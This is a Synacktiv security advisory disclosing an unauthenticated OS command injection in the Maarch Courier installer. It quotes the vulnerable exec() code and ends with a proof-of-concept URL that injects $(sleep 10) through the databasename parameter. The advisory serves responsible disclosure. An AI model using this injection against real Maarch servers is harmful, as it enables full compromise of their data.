

■ **MaarchCourier**  
**19.04, 18.10, 18.04, 17.06**  
**OS Command injection**

■ **Security advisory**  
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Tawfik Bakache  
Thomas Etrillard

# Vulnerability description

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## Presentation of *Maarch Courier*

"*Maarch Courier* is a complete free and open source solution for electronic mail management".

<https://maarch.com/maarch-courrier/>

## The issue

Synacktiv discovered that *Maarch Courier* does not sanitize the database name when using it throughout the installation process. An unauthenticated user can interact with a script inside the `/install` folder to trigger an OS command injection vulnerability, to fully compromise the application and all its data.

## Affected versions

Versions 19.04, 18.10, 18.04 and 17.06 are affected.

## Timeline

Date	Action
2020-01-07	Advisory sent to <i>Maarch</i> support
2020-01-08	Vulnerability fixed
2020-01-15	Public disclosure from the vendor <a href="https://community.maarch.org/t/maarch-courrier-note-de-mise-a-jour-de-securite-majeure-securisation-de-linstallateur-integre/1383">https://community.maarch.org/t/maarch-courrier-note-de-mise-a-jour-de-securite-majeure-securisation-de-linstallateur-integre/1383</a>
2020-01-17	Publication of this advisory

## Technical description and proof-of-concept

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### Description

Inside the `install/class/Class_Install.php`, the `createCustom()` function is called with a user-controlled entity by the user `$databasename`, used later to create a symbolic link using the `exec()` function:

```
# FILE install/class/Class_Install.php
300     public function createCustom($databasename)
301     {
302         $customAlreadyExist = realpath('.').'/custom/cs_'. $databasename;
303         if (file_exists($customAlreadyExist)) {
304             //return false;
[...]
```

```
411         //Création du lien symbolique sous linux
412         if (strtoupper(substr(PHP_OS, 0, 3)) === 'LIN') {
413             $cmd = 'ln -s '.realpath('.')."/ cs_ $databasename";
414             exec($cmd);
415         }/*elseif(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){
[...]
```

```
553         //Création du lien symbolique sous linux
554         if (strtoupper(substr(PHP_OS, 0, 3)) === 'LIN') {
555             $cmd = 'ln -s '.realpath('.')."/ cs_ $databasename";
556             exec($cmd);
557         }
```

The following prerequisites must be met (at least on the 19.04.10 version) to trigger the vulnerability:

- the `/install` folder must be accessible;
- the parent folder must be writable;
- a database should be available.

Those requirements are already met when the application is already installed and when the following procedure has not been followed:

[https://docs.maarch.org/gitbook/html/MaarchCourrier/19.04/guat/guat\\_exploitation/protect\\_install.html](https://docs.maarch.org/gitbook/html/MaarchCourrier/19.04/guat/guat_exploitation/protect_install.html)

### Exploitation

The following link will trigger the `sleep 10` command on the remote server:

`http://host/maarchcourrier_root/install/ajax.php?script=database&databasename=$(sleep %2010)&action=createdatabase&ajax=true&div=ajaxReturn_createDB`